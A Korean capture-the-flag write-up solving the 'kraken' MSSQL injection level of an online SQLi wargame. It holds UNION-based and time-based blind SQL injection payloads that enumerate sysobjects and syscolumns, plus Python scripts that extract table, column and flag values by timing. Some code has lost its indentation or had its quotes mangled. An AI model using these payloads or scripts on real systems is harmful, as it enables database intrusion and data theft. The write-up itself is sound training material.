kraken
flag_{hash} 테이블에 저장된 플래그 정보를 추출한 후에 pw 파라미터에 담아 전달해야 하는 문제다.
master, information 문자는 필터링 되고 있기 때문에 master…sysobjects, information_schema 는 사용할 수 없다.
그 대신에 sysobjects 테이블을 사용할 수 있다.

사용법은 아래와 같으며, 아래 쿼리를 실행하면 유저가 생성한 모든 테이블 정보를 확인할 수 있다.
위 내용을 참고하여 유니온 절로 테이블을 뽑아보자.
if($result['id']) echo "<h2>{$result['id']}</h2>"; 에 의해 조회된 행의 id 컬럼 값이 존재하면 그 값이 브라우저에 출력된다.
( 조회된 1번째 행의 테이블명은 “flag_34d1a7f3bb77c91e” 로 확인됐다. )

그러나 유저 테이블은 여러 개일 수 있다. 1번째 행(0번째 인덱스)의 테이블명을 가져오는 게 아니라,
특정 순서에 있는 행을 불러와 값을 확인하고 싶은 경우에는 아래 방법을 사용할 수 있다.
( OFFSET {VALUE} ROWS FETCH NEXT {가져올 행 개수} ROWS ONLY 는 LIMIT N,M 과 동일하게 동작한다. )

혹은, 조회되는 행들의 특정 컬럼을 지정해서 이어 붙인 후 출력하는 것도 가능하다.
STRING_AGG({컬럼명}, {구분자}) 함수를 사용하여 모든 행의 name 컬럼 값을 이어붙여 출력한 결과는 아래와 같다.
- 총 3개의 테이블을 확인할 수 있었으며, flag_ 로 시작하는 테이블은 2개로 확인됐다.
- (1) member
- (2) flag_34d1a7f3bb77c91e
- (3) flag_a98fbc3d1d46a81e
(페이로드) ?pw=' UNION SELECT (STRING_AGG(name, ' ')) FROM sysobjects WHERE type='U'--

“flag_34d1a7f3bb77c91e” 테이블에 대한 컬럼을 전수 조사한 결과는 다음과 같다.
( wrongflag ) 컬럼이 출력된 것으로 볼 때, 이 테이블은 플래그를 저장한 테이블이 아닌 것으로 보인다.
(페이로드) ?pw=' UNION SELECT STRING_AGG(name, ' ') FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='flag_34d1a7f3bb77c91e')--

이에, “flag_a98fbc3d1d46a81e” 테이블의 컬럼 정보를 모두 추출하였으며 이 과정에서 flag 컬럼이 확인되었다.
( 컬럼명이 flag 이므로, 문제 풀이를 위한 플래그가 저장되어 있을 것으로 보인다. 직접 확인해보자. )

플래그 값은 아래와 같이 추출에 성공했다.
(페이로드) ?pw=' UNION SELECT STRING_AGG(flag, ' ') FROM flag_a98fbc3d1d46a81e--

근데 플래그를 pw 파라미터에 넣고 요청을 보내도 문제 클리어가 안 된다.

아까 확인하지 않고 넘어간 flag_34d1...c91e 테이블의 wrongflag 컬럼 값도 확인해보자
( wrongflag 컬럼에도 플래그 값이 저장되어 있었다. )

KRAKEN 문제의 정답은 wrongflag 컬럼에 저장된 값이었다… . (왜…Why…)

번외
만약 응답 값으로는 참/거짓 판별이 불가하다면 Time-based SQLi 로도 값을 구해볼 수 있다.
MSSQL 에서는 OFFSET {VALUE} ROWS FETCH NEXT {가져올 행 개수} ROWS ONLY를 사용하면 LIMIT N,M 처럼 동작한다.
(페이로드) ?pw=%27%20IF%20(ASCII(SUBSTRING((SELECT%20name%20from%20sysobjects%20where%20type=%27U%27%20ORDER%20BY%201%20OFFSET%201%20ROWS%20FETCH%20NEXT%201%20ROWS%20ONLY),1,1)))<128%20WAITFOR%20DELAY%20%270:0:2%27--

Time-based SQLi
1. 테이블명 추출
이를 토대로 작성한 자동화 스크립트는 아래와 같으며, flag_ 로 시작하는 테이블은 2개 발견되었다.
- (0) flag_34d1a7f3bb7
- (1) flag_a98fbc3d1d4

import requests
import time
t_url = 'https://los.rubiya.kr/chall/kraken_647f3513b94339a4c59cf6f9074d0f92.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
for i in range(6, 17):
low = 1
high = 129
while low <= high:
mid = (low + high) // 2
print(low, mid, high)
payload = ( f"?pw=%27%20IF%20(ASCII(SUBSTRING((SELECT%20name%20from%20sysobjects%20where%20type=%27U%27%20ORDER%20BY%201%20OFFSET%201%20ROWS%20FETCH%20NEXT%201%20ROWS%20ONLY),{i},1)))%3C{mid}%20WAITFOR%20DELAY%20%270:0:2%27--" )
start = time.time()
r = requests.get(t_url + payload, cookies=cookie)
end = time.time()
print(end - start)
if (int(end - start)) > 1:
high = mid - 1
else:
low = mid + 1
if low > high:
password = password + chr(high)
numValue = numValue + str(high) + ' '
print(f"Extracted admins password : \n\t[+] {numValue}\n\t[+] {password}")
break#### 특정 테이블의 컬럼명 추출 "flag_34d1a7f3bb77c91e" 테이블의 컬럼명 추출 → "wrongflag" - 모든 행 값을 한 번에 추출하고 싶으면 `(페이로드 2)` 방법을 사용하면 된다. ![[C9X8S7D6A5ST6WA9-asdf7as890f7ads0f988-20260129224246052.png]] ```python # (페이로드 1) ?pw=' IF (ASCII(SUBSTRING((SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='flag_34d1a7f3bb77c91e') ORDER BY 1 OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY),{i},1)))<{mid} WAITFOR DELAY '0:0:2'--
(페이로드 2) ?pw=’ IF (ASCII(SUBSTRING((SELECT STRING_AGG(name, ’ ’) FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name=‘flag_34d1a7f3bb77c91e’)),{i},1)))<{mid} WAITFOR DELAY ‘0:0:2’—
import requests import time
t_url = ‘https://los.rubiya.kr/chall/kraken_647f3513b94339a4c59cf6f9074d0f92.php’ cookie = {‘PHPSESSID’ : ‘COOKIE_VALUE’} password = ” numValue = ”
for i in range(1, 17): low = 1 high = 129
while low <= high:
mid = (low + high) // 2
print(low, mid, high)
payload = ( f"?pw=%27%20IF%20(ASCII(SUBSTRING((SELECT%20name%20FROM%20syscolumns%20WHERE%20id=(SELECT%20id%20FROM%20sysobjects%20WHERE%20name=%27flag_34d1a7f3bb77c91e%27)%20ORDER%20BY%201%20OFFSET%200%20ROWS%20FETCH%20NEXT%201%20ROWS%20ONLY),{i},1)))%3C{mid}%20WAITFOR%20DELAY%20%270:0:2%27--" )
start = time.time()
r = requests.get(t_url + payload, cookies=cookie)
end = time.time()
print(end - start)
if (int(end - start)) > 1:
high = mid - 1
else:
low = mid + 1
if low > high:
password = password + chr(high)
numValue = numValue + str(high) + ' '
print(f"Extracted admins password : \n\t[+] {numValue}\n\t[+] {password}")
break
'''실행 결과 Extracted admins password : [+] 119 114 111 110 103 102 108 97 103 129 129 129 129 129 129 129 [+] wrongflag '''
#### 특정 테이블의 컬럼에 저장된 값 추출
추출한 플래그 정보는 아래와 같다. 이렇게 Time-based SQLi 방법으로도 문제 풀이를 진행해보았다.
`(TABLE) flag_34d1a7f3bb77c91e → (COLUMN) wrongflag → (VALUE) FLAG{...}`
![[C9X8S7D6A5ST6WA9-asdf7as890f7ads0f988-20260129224107339.png]]
```python
import requests
import time
t_url = 'https://los.rubiya.kr/chall/kraken_647f3513b94339a4c59cf6f9074d0f92.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
for i in range(1, 30):
low = 1
high = 129
while low <= high:
mid = (low + high) // 2
print(low, mid, high)
payload = ( f"?pw=%27%20IF%20(ASCII(SUBSTRING((SELECT%20wrongflag%20FROM%20flag_34d1a7f3bb77c91e%20WHERE%201=1%20ORDER%20BY%201%20OFFSET%200%20ROWS%20FETCH%20NEXT%201%20ROWS%20ONLY),{i},1))%3C{mid})%20WAITFOR%20DELAY%20%270:0:2%27--" )
start = time.time()
r = requests.get(t_url + payload, cookies=cookie)
end = time.time()
if (int(end - start)) > 1:
high = mid - 1
else:
low = mid + 1
if low > high:
password = password + chr(high)
numValue = numValue + str(high) + ' '
print(f"Extracted admins password : \n\t[+] {numValue}\n\t[+] {password}")
break
🐛.. 🐛.. 🐛..

